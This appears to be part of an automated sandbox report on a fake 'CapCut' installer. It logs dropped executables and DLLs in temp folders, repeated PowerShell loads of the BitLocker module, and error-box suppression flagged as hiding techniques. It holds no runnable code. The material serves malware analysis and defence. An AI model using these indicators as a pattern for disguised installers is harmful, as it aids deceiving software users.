      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\d3dcompiler_47.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\ffmpeg.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\libEGL.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\libGLESv2.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\vulkan-1.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\vulkan-1.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\vk_swiftshader.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\d3dcompiler_47.dllJump to dropped file
      Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\AppData\Local\Temp\530420\Classes.comJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\nsis7z.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeFile created: C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exeJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\libGLESv2.dllJump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\LICENSE.electron.txtJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\LICENSE.electron.txtJump to behavior

      Hooking and other Techniques for Hiding and Protection

      barindex
      Loading BitLocker PowerShell Module
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
